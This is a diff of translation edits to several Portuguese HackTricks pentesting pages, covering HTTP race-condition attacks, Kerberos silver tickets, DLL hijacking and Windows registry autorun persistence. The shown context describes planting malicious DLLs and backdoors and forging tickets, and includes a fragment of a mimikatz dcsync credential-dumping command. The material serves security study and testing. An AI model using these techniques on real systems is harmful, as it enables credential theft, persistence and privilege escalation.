<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -35,7 +35,7 @@ Mas, usando a técnica de '**sincronização do último byte**' do HTTP/1.1, é
Para **pré-enviar a maior parte de cada solicitação**:
* Se a solicitação não tiver corpo, envie todos os cabeçalhos, mas não defina o sinalizador END\_STREAM. Retenha um quadro de dados vazio com o sinalizador END\_STREAM definido.
* Se a solicitação não tiver corpo, envie todos os cabeçalhos, mas não defina a flag END\_STREAM. Retenha um quadro de dados vazio com a flag END\_STREAM definida.
* Se a solicitação tiver um corpo, envie os cabeçalhos e todos os dados do corpo, exceto o último byte. Retenha um quadro de dados contendo o último byte.
Em seguida, **prepare-se para enviar os quadros finais**:
@ -52,7 +52,7 @@ Observe que isso **não funciona para arquivos estáticos** em determinados serv
Usando essa técnica, você pode fazer com que 20-30 solicitações cheguem ao servidor simultaneamente - independentemente da variação de rede:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptando à arquitetura do alvo**
@ -69,13 +69,13 @@ Alguns frameworks tentam evitar a corrupção acidental de dados usando algum ti
Se o aquecimento da conexão não faz diferença, existem várias soluções para esse problema.
Usando o Turbo Intruder, você pode introduzir um pequeno atraso do lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de um único pacote. Como resultado, em alvos com alta variação de latência, o ataque provavelmente não funcionará de forma confiável, independentemente do atraso definido.
Usando o Turbo Intruder, você pode introduzir um pequeno atraso no lado do cliente. No entanto, como isso envolve dividir suas solicitações de ataque reais em vários pacotes TCP, você não poderá usar a técnica de ataque de um único pacote. Como resultado, em alvos com alta variação de latência, o ataque provavelmente não funcionará de forma confiável, independentemente do atraso definido.
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Em vez disso, você pode resolver esse problema abusando de um recurso de segurança comum.
Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado do lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
Servidores da web frequentemente **atrasam o processamento de solicitações se muitas forem enviadas rapidamente**. Ao enviar um grande número de solicitações falsas para acionar intencionalmente o limite de taxa ou recurso, você pode causar um atraso adequado no lado do servidor. Isso torna o ataque de um único pacote viável mesmo quando a execução atrasada é necessária.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -133,10 +133,10 @@ engine.openGate(currentAttempt)
* Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
* Para **limit-overrun**, você pode simplesmente adicionar a **mesma solicitação 50 vezes** no grupo.
* Para **aquecimento de conexão**, você pode **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestado, você pode **adicionar solicitações extras entre** ambas as solicitações.
* Para um RC de **vários endpoints**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e, em seguida, **50 solicitações** logo após isso que **exploram o estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
@ -169,17 +169,9 @@ A biblioteca `asyncio` do Python é uma biblioteca assíncrona que permite escre
A programação assíncrona é baseada em corrotinas, que são funções que podem ser pausadas e retomadas posteriormente. Isso permite que várias tarefas sejam executadas de forma concorrente, sem bloquear a execução do programa.
A biblioteca `asyncio` fornece várias ferramentas para lidar com tarefas assíncronas, como loops de eventos, tarefas e futuros. O loop de eventos é responsável por executar as corrotinas e gerenciar as chamadas de retorno. As tarefas representam as corrotinas em execução e os futuros são objetos que representam o resultado de uma operação assíncrona.
A biblioteca `asyncio` fornece várias ferramentas para lidar com tarefas assíncronas, como loops de eventos, tarefas e futuros. O loop de eventos é responsável por executar as corrotinas e gerenciar as operações de I/O. As tarefas são corrotinas que são executadas em paralelo, enquanto os futuros representam o resultado de uma operação assíncrona.
Para aproveitar ao máximo a biblioteca `asyncio`, é importante entender os conceitos básicos, como corrotinas, loops de eventos, tarefas e futuros. Além disso, é necessário conhecer as diferentes APIs disponíveis para lidar com operações assíncronas, como chamadas de rede e acesso a bancos de dados.
A programação assíncrona pode melhorar significativamente o desempenho de um programa, permitindo que várias tarefas sejam executadas em paralelo. No entanto, também pode introduzir novos desafios, como condições de corrida, onde duas ou mais tarefas competem para acessar ou modificar os mesmos recursos ao mesmo tempo.
As condições de corrida podem levar a resultados inesperados ou incorretos, como valores inconsistentes ou erros de acesso. Para evitar condições de corrida, é importante usar mecanismos de sincronização, como bloqueios ou semáforos, para garantir que apenas uma tarefa possa acessar um recurso compartilhado por vez.
No entanto, mesmo com mecanismos de sincronização, as condições de corrida ainda podem ocorrer se não forem tratadas corretamente. Portanto, é importante estar ciente dessas situações e tomar as medidas adequadas para evitá-las.
Em resumo, a biblioteca `asyncio` do Python é uma poderosa ferramenta para lidar com programação assíncrona. No entanto, é importante entender os conceitos básicos e estar ciente das condições de corrida para escrever código robusto e livre de erros.
Para aproveitar ao máximo a biblioteca `asyncio`, é importante entender os conceitos básicos da programação assíncrona e como usar corretamente as corrotinas, tarefas e futuros. Com a prática e o conhecimento adequado, é possível escrever código eficiente e escalável usando `asyncio`.
```python
import asyncio
import httpx
@ -227,7 +219,7 @@ Outra condição de corrida mais complicada explorará **subestados no estado da
1. **Prever subestados ocultos e interessantes potenciais**
O primeiro passo é identificar todos os pontos finais que gravam nele ou lêem dados dele e, em seguida, usam esses dados para algo importante. Por exemplo, os usuários podem ser armazenados em uma tabela de banco de dados que é modificada pelo registro, edição de perfil, iniciação de redefinição de senha e conclusão da redefinição de senha.
O primeiro passo é identificar todos os pontos finais que gravam nele ou lêem dados dele e, em seguida, usam esses dados para algo importante. Por exemplo, os usuários podem ser armazenados em uma tabela de banco de dados que é modificada por registro, edição de perfil, iniciação de redefinição de senha e conclusão de redefinição de senha.
Podemos usar três perguntas-chave para descartar pontos finais que provavelmente não causarão colisões. Para cada objeto e os pontos finais associados, pergunte:
@ -239,7 +231,7 @@ As aplicações costumam armazenar algum estado na sessão do usuário. Esses s
* **Estamos editando ou anexando?**
Operações que editam dados existentes (como alterar o endereço de e-mail principal de uma conta) têm grande potencial de colisão, enquanto ações que simplesmente anexam a dados existentes (como adicionar um endereço de e-mail adicional) provavelmente não serão vulneráveis a nada além de ataques de limite de estouro.
Operações que editam dados existentes (como alterar o endereço de e-mail principal de uma conta) têm grande potencial de colisão, enquanto ações que simplesmente anexam a dados existentes (como adicionar um endereço de e-mail adicional) provavelmente não são vulneráveis a nada além de ataques de limite de estouro.
* **Em que a operação é baseada?**
@ -314,7 +306,7 @@ Então, até aqui, apenas um login comum com google/linkdin/github... onde você
#### Condição de corrida em `authorization_code`
O **problema** ocorre quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
O **problema** ocorre quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
#### Condição de corrida em `Refresh Token`

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
@ -24,7 +24,7 @@ O ataque Silver ticket é baseado em **criar um TGS válido para um serviço uma
Neste caso, o **hash NTLM de uma conta de computador** (que é uma espécie de conta de usuário no AD) é **obtido**. Portanto, é possível **criar** um **ticket** para **entrar nessa máquina** com privilégios de **administrador** através do serviço SMB. As contas de computador redefinem suas senhas a cada 30 dias por padrão.
Também deve ser levado em consideração que é possível E **PREFERÍVEL** (opsec) **forjar tickets usando as chaves AES Kerberos (AES128 e AES256)**. Para saber como gerar uma chave AES, leia: [seção 4.4 do MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou o [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
Também deve ser levado em consideração que é possível E **RECOMENDÁVEL** (opsec) **forjar tickets usando as chaves AES Kerberos (AES128 e AES256)**. Para saber como gerar uma chave AES, leia: [seção 4.4 do MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou o [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
{% code title="Linux" %}
```bash
@ -156,7 +156,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -166,7 +166,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -20,24 +20,24 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
## Definição
Primeiro de tudo, vamos entender a definição. O DLL hijacking é, no sentido mais amplo, **enganar um aplicativo legítimo/confiável para carregar um DLL arbitrário**. Termos como _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ e _DLL Side-Loading_ são frequentemente - erroneamente - usados para dizer a mesma coisa.
Primeiro de tudo, vamos entender a definição. O sequestro de DLL é, no sentido mais amplo, **enganar um aplicativo legítimo/confiável para carregar uma DLL arbitrária**. Termos como _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ e _DLL Side-Loading_ são frequentemente - erroneamente - usados para dizer a mesma coisa.
O DLL hijacking pode ser usado para **executar** código, obter **persistência** e **elevar privilégios**. Dos três, o **menos provável** de encontrar é a **elevação de privilégios** de longe. No entanto, como isso faz parte da seção de elevação de privilégios, vou focar nessa opção. Além disso, observe que, independentemente do objetivo, um DLL hijacking é realizado da mesma maneira.
O sequestro de DLL pode ser usado para **executar** código, obter **persistência** e **elevar privilégios**. Dos três, o **menos provável** de encontrar é a **elevação de privilégios** de longe. No entanto, como isso faz parte da seção de elevação de privilégios, vou focar nessa opção. Além disso, observe que, independentemente do objetivo, um sequestro de DLL é realizado da mesma maneira.
### Tipos
Existem **várias abordagens** para escolher, com o sucesso dependendo de como o aplicativo está configurado para carregar suas DLLs necessárias. As abordagens possíveis incluem:
1. **Substituição de DLL**: substituir uma DLL legítima por uma DLL maliciosa. Isso pode ser combinado com _DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)], que garante que todas as funcionalidades da DLL original permaneçam intactas.
2. **Hijacking da ordem de pesquisa de DLL**: DLLs especificadas por um aplicativo sem um caminho são procuradas em locais fixos em uma ordem específica \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]. O hijacking da ordem de pesquisa ocorre colocando a DLL maliciosa em um local que é pesquisado antes da DLL real. Isso às vezes inclui o diretório de trabalho do aplicativo alvo.
3. **Hijacking de DLL fantasma**: colocar uma DLL maliciosa no lugar de uma DLL ausente/inexistente que um aplicativo legítimo tenta carregar \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
2. **Sequestro da ordem de pesquisa de DLL**: DLLs especificadas por um aplicativo sem um caminho são procuradas em locais fixos em uma ordem específica \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]. O sequestro da ordem de pesquisa ocorre colocando a DLL maliciosa em um local que é pesquisado antes da DLL real. Isso às vezes inclui o diretório de trabalho do aplicativo alvo.
3. **Sequestro de DLL fantasma**: colocar uma DLL maliciosa no lugar de uma DLL ausente/inexistente que um aplicativo legítimo tenta carregar \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
4. **Redirecionamento de DLL**: alterar o local em que a DLL é procurada, por exemplo, editando a variável de ambiente `%PATH%`, ou arquivos `.exe.manifest` / `.exe.local` para incluir a pasta que contém a DLL maliciosa \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)].
5. **Substituição de DLL WinSxS**: substituir a DLL legítima pela DLL maliciosa na pasta WinSxS relevante da DLL alvo. Frequentemente referido como DLL side-loading \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)].
6. **Hijacking de DLL de caminho relativo**: copiar (e opcionalmente renomear) o aplicativo legítimo para uma pasta gravável pelo usuário, ao lado da DLL maliciosa. Da maneira como isso é usado, tem semelhanças com a Execução de Proxy Binário (Assinado) \[[8](https://attack.mitre.org/techniques/T1218/)]. Uma variação disso é chamada de 'traga seu próprio LOLbin' \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], que é um tanto oximorônico, em que o aplicativo legítimo é trazido com a DLL maliciosa (em vez de copiado da localização legítima na máquina da vítima).
6. **Sequestro de DLL de caminho relativo**: copiar (e opcionalmente renomear) o aplicativo legítimo para uma pasta gravável pelo usuário, ao lado da DLL maliciosa. Da maneira como é usado, tem semelhanças com a Execução de Proxy Binário (Assinado) \[[8](https://attack.mitre.org/techniques/T1218/)]. Uma variação disso é chamada de 'traga seu próprio LOLbin' \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], que traz o aplicativo legítimo com a DLL maliciosa (em vez de copiá-lo da localização legítima na máquina da vítima).
## Encontrando Dlls ausentes
## Encontrando DLLs ausentes
A maneira mais comum de encontrar Dlls ausentes em um sistema é executar o [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) do sysinternals, **configurando** os **seguintes 2 filtros**:
A maneira mais comum de encontrar DLLs ausentes em um sistema é executar o [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) do sysinternals, **configurando** os **seguintes 2 filtros**:
![](<../../.gitbook/assets/image (311).png>)
@ -47,17 +47,17 @@ e mostrar apenas a **Atividade do Sistema de Arquivos**:
![](<../../.gitbook/assets/image (314).png>)
Se você está procurando **dlls ausentes em geral**, você **deixa** isso rodando por alguns **segundos**.\
Se você está procurando uma **dll ausente dentro de um executável específico**, você deve definir **outro filtro como "Nome do Processo" "contém" "\<nome do exec>", executá-lo e parar de capturar eventos**.
Se você está procurando **DLLs ausentes em geral**, você **deixa** isso rodando por alguns **segundos**.\
Se você está procurando uma **DLL ausente em um executável específico**, você deve definir **outro filtro como "Nome do Processo" "contém" "\<nome do exec>", executá-lo e parar de capturar eventos**.
## Explorando Dlls Ausentes
Para elevar privilégios, a melhor chance que temos é ser capaz de **escrever uma dll que um processo privilegiado tentará carregar** em algum **local onde ela será procurada**. Portanto, seremos capazes de **escrever** uma dll em uma **pasta** onde a **dll é procurada antes** da pasta onde a **dll original** está (caso estranho), ou seremos capazes de **escrever em alguma pasta onde a dll será procurada** e a **dll original não existir** em nenhuma pasta.
Para elevar privilégios, a melhor chance que temos é ser capaz de **escrever uma dll que um processo privilegiado tentará carregar** em algum **local onde será procurada**. Portanto, seremos capazes de **escrever** uma dll em uma **pasta** onde a dll é procurada antes da pasta onde a **dll original** está (caso estranho), ou seremos capazes de **escrever em alguma pasta onde a dll será procurada** e a **dll original não existe** em nenhuma pasta.
### Ordem de Busca de Dlls
**Dentro da** [**documentação da Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **você pode encontrar como as Dlls são carregadas especificamente**.
Em geral, um **aplicativo Windows** usará **caminhos de busca pré-definidos para encontrar DLLs** e verificará esses caminhos em uma ordem específica. O sequestro de DLL geralmente ocorre colocando uma DLL maliciosa em uma dessas pastas, garantindo que a DLL seja encontrada antes da legítima. Esse problema pode ser mitigado fazendo com que o aplicativo especifique caminhos absolutos para as DLLs de que ele precisa.
Em geral, um **aplicativo Windows** usará **caminhos de busca pré-definidos para encontrar DLLs** e verificará esses caminhos em uma ordem específica. O sequestro de DLL geralmente ocorre colocando uma DLL maliciosa em uma dessas pastas, garantindo que a DLL seja encontrada antes da legítima. Esse problema pode ser mitigado fazendo com que o aplicativo especifique caminhos absolutos para as DLLs de que precisa.
Você pode ver a **ordem de busca de DLLs em sistemas de 32 bits** abaixo:
@ -69,7 +69,7 @@ Você pode ver a **ordem de busca de DLLs em sistemas de 32 bits** abaixo:
5. O diretório atual.
6. Os diretórios listados na variável de ambiente PATH. Observe que isso não inclui o caminho por aplicativo especificado pela chave de registro **App Paths**. A chave **App Paths** não é usada ao calcular o caminho de busca de DLLs.
Essa é a **ordem de busca padrão com o SafeDllSearchMode ativado**. Quando desativado, o diretório atual sobe para a segunda posição. Para desativar esse recurso, crie o valor de registro **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** e defina-o como 0 (o padrão é ativado).
Essa é a **ordem de busca padrão com o SafeDllSearchMode ativado**. Quando desativado, o diretório atual sobe para a segunda posição. Para desativar esse recurso, crie o valor do registro **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** e defina-o como 0 (o padrão é ativado).
Se a função [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) for chamada com **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, a busca começa no diretório do módulo executável que o **LoadLibraryEx** está carregando.
@ -80,7 +80,7 @@ Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las a
#### Exceções na ordem de busca de dlls da documentação do Windows
* Se uma **DLL com o mesmo nome de módulo já estiver carregada na memória**, o sistema verifica apenas a redireção e um manifesto antes de recorrer à DLL carregada, não importa em qual diretório ela esteja. **O sistema não procura pela DLL**.
* Se a DLL estiver na lista de **DLLs conhecidas** para a versão do Windows em que o aplicativo está sendo executado, o **sistema usará sua cópia da DLL conhecida** (e as DLLs dependentes da DLL conhecida, se houver) **em vez de procurar** pela DLL. Para obter uma lista de DLLs conhecidas no sistema atual, consulte a seguinte chave de registro: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
* Se a DLL estiver na lista de **DLLs conhecidas** para a versão do Windows em que o aplicativo está sendo executado, o **sistema usará sua cópia da DLL conhecida** (e as DLLs dependentes da DLL conhecida, se houver) **em vez de procurar** pela DLL. Para obter uma lista de DLLs conhecidas no sistema atual, consulte a seguinte chave do registro: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
* Se uma **DLL tiver dependências**, o sistema **procura** pelas DLLs dependentes como se elas fossem carregadas apenas com seus **nomes de módulo**. Isso é verdade **mesmo se a primeira DLL tiver sido carregada especificando um caminho completo**.
### Elevando Privilégios
@ -90,7 +90,7 @@ Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las a
* **Encontrar um processo** que seja executado/será executado com **outros privilégios** (movimento horizontal/lateral) e que esteja **faltando uma dll**.
* Ter **permissão de escrita** em qualquer **pasta** onde a **dll** será **procurada** (provavelmente o diretório do executável ou alguma pasta dentro do caminho do sistema).
Sim, os requisitos são complicados de encontrar, pois **por padrão é meio estranho encontrar um executável privilegiado faltando uma dll** e é ainda **mais estranho ter permissões de escrita em uma pasta do caminho do sistema** (você não pode por padrão). Mas, em ambientes mal configurados, isso é possível.\
Sim, os requisitos são complicados de encontrar, pois **por padrão é meio estranho encontrar um executável privilegiado faltando uma dll** e é ainda **mais estranho ter permissões de escrita em uma pasta do sistema** (você não pode por padrão). Mas, em ambientes mal configurados, isso é possível.\
No caso de ter sorte e encontrar-se atendendo aos requisitos, você pode verificar o projeto [UACME](https://github.com/hfiref0x/UACME). Mesmo que o **objetivo principal do projeto seja contornar o UAC**, você pode encontrar lá um **PoC** de sequestro de DLL para a versão do Windows que você pode usar (provavelmente apenas alterando o caminho da pasta onde você tem permissões de escrita).
Observe que você pode **verificar suas permissões em uma pasta** fazendo:
@ -228,7 +228,7 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
Qualquer atalho criado para o local apontado pela subchave Inicialização irá iniciar o serviço durante o login/reinicialização. A localização de inicialização é especificada tanto na Máquina Local quanto no Usuário Atual.
Qualquer atalho criado para a localização apontada pela subchave Inicialização irá iniciar o serviço durante o login/reinicialização. A localização de inicialização é especificada tanto na Máquina Local quanto no Usuário Atual.
{% hint style="info" %}
Se você puder sobrescrever qualquer Pasta Shell \[Usuário] em **HKLM**, você poderá apontá-la para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios.
Se você puder sobrescrever qualquer Pasta de Shell \[Usuário] sob **HKLM**, você poderá apontá-la para uma pasta controlada por você e colocar um backdoor que será executado sempre que um usuário fizer login no sistema, escalando privilégios.
{% endhint %}
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -220,7 +220,7 @@ No entanto, você pode criar uma opção de inicialização para não precisar p
Informações obtidas [aqui](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
{% hint style="info" %}
**Exploit 1:** Se você puder modificar essa chave do registro, poderá direcionar sua backdoor.
**Exploit 1:** Se você puder modificar essa chave do registro, poderá apontar sua backdoor.
{% endhint %}
{% hint style="info" %}
@ -312,15 +312,13 @@ Quando um programa é executado no Windows, o sistema operacional verifica se ex
#### Explorando as Opções de Execução de Arquivos de Imagem
Para explorar essa vulnerabilidade, um invasor pode adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um executável privilegiado, como o Prompt de Comando (cmd.exe). Dessa forma, toda vez que o Prompt de Comando for iniciado, o programa especificado nas opções será executado com privilégios elevados.
Para explorar essa vulnerabilidade, um invasor pode adicionar uma entrada nas Opções de Execução de Arquivos de Imagem para um executável privilegiado, como o Prompt de Comando (cmd.exe). Dessa forma, sempre que o Prompt de Comando for iniciado, o programa especificado nas opções será executado em seu lugar.
#### Execução de Binários Autorun
Uma técnica comum de escalonamento de privilégios é usar as Opções de Execução de Arquivos de Imagem para executar um binário malicioso sempre que um programa privilegiado for iniciado. Isso pode ser feito adicionando uma entrada nas Opções de Execução de Arquivos de Imagem para o executável privilegiado e especificando o binário malicioso como o programa a ser executado.
Para adicionar uma entrada nas Opções de Execução de Arquivos de Imagem, é necessário editar o Registro do Windows. O invasor pode fazer isso manualmente ou usando ferramentas automatizadas.
#### Prevenção
